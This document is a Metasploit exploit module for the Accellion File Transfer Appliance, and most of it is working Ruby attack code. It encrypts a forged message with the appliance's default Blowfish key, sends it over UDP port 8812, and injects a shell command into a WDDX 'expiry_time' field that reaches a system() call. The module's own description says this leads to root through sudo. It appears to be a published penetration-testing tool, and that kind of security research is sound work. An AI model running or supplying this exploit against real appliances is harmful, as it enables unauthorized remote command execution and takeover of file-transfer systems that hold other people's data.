Accellion File Transfer Appliance MPIPE2 Command Execution

`##  
# $Id: accellion_fta_mpipe2.rb 11935 2011-03-11 17:37:23Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
require 'openssl'  
require 'rexml/element'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Accellion File Transfer Appliance MPIPE2 Command Execution',  
'Description' => %q{  
This module exploits a chain of vulnerabilities in the Accellion   
File Transfer appliance. This appliance exposes a UDP service on   
port 8812 that acts as a gateway to the internal communication bus.   
This service uses Blowfish encryption for authentication, but the   
appliance ships with two easy to guess default authentication keys.   
This module abuses the known default encryption keys to inject a   
message into the communication bus. In order to execute arbitrary   
commands on the remote appliance, a message is injected into the bus   
destined for the 'matchrep' service. This service exposes a function   
named 'insert_plugin_meta_info' which is vulnerable to an input   
validation flaw in a call to system(). This provides access to the   
'soggycat' user account, which has sudo privileges to run the   
primary admin tool as root. These two flaws are fixed in update  
version FTA_8_0_562.   
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 11935 $',  
'References' =>  
[  
['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet',  
}  
},  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 7 2011'  
))  
  
register_options(  
[  
Opt::RPORT(8812),  
OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])  
], self.class)  
end  
  
def exploit  
connect_udp  
  
appid = datastore['APPID']  
encoded_command = REXML::Text.new(payload.encoded).to_s  
  
wddx = %Q|  
<wddxPacket version='1.0'>  
<header/>  
<data>  
<struct>  
<var name='50001'><string>insert_plugin_meta_info</string></var>  
<var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>  
<var name='aid'><string>#{appid}</string></var>  
<var name='client_ip'><string>127.0.0.1</string></var>  
<var name='package_id'><string>1</string></var>  
<var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>  
<var name='expiry_time'><string>'; #{encoded_command}; #'</string></var>  
</struct>  
</data>  
</wddxPacket>|  
  
packet = [  
rand(0xffffffff), # Source Location ID  
8888, # Destination Location ID  
rand(0xffff), # Source Application  
50001, # Destination Application (matchrep)  
Time.now.to_i  
].pack("NNnnN") + wddx  
  
header = [  
0, # Flags  
0, #  
1, # Sequence Number (must be the lowest seen from Source ID)  
33 # Execute (pass message to destination)  
].pack("CCNC") + packet  
  
data = [ simple_checksum(header) ].pack("n") + header  
enc = blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)  
  
udp_sock.put("\x01" + enc)  
  
handler  
disconnect_udp  
end  
  
def simple_checksum(data)   
sum = 0  
data.unpack("C*").map{ |c| sum = (sum + c) & 0xffff }  
sum  
end  
  
#  
# This implements blowfish-cbc with an MD5-expanded 448-bit key   
# using RandomIV for the initial value.  
#  
def blowfish_encrypt(pass, data)  
  
# Forces 8-bit encoding  
pass = pass.unpack("C*").pack("C*")  
data = data.unpack("C*").pack("C*")  
  
# Use 448-bit keys with 8-byte IV  
key_len = 56  
iv_len = 8  
  
# Expand the key with MD5 (key-generated-key mode)  
hash = OpenSSL::Digest::MD5.digest(pass)  
while (hash.length < key_len)  
hash << OpenSSL::Digest::MD5.digest(hash)  
end  
  
key = hash[0, key_len]  
iv = Rex::Text.rand_text(iv_len)  
  
c = OpenSSL::Cipher::Cipher.new('bf-cbc')  
c.encrypt  
c.key_len = key_len  
c.key = key  
c.iv = iv  
  
"RandomIV" + iv + c.update(data) + c.final  
end  
  
end  
`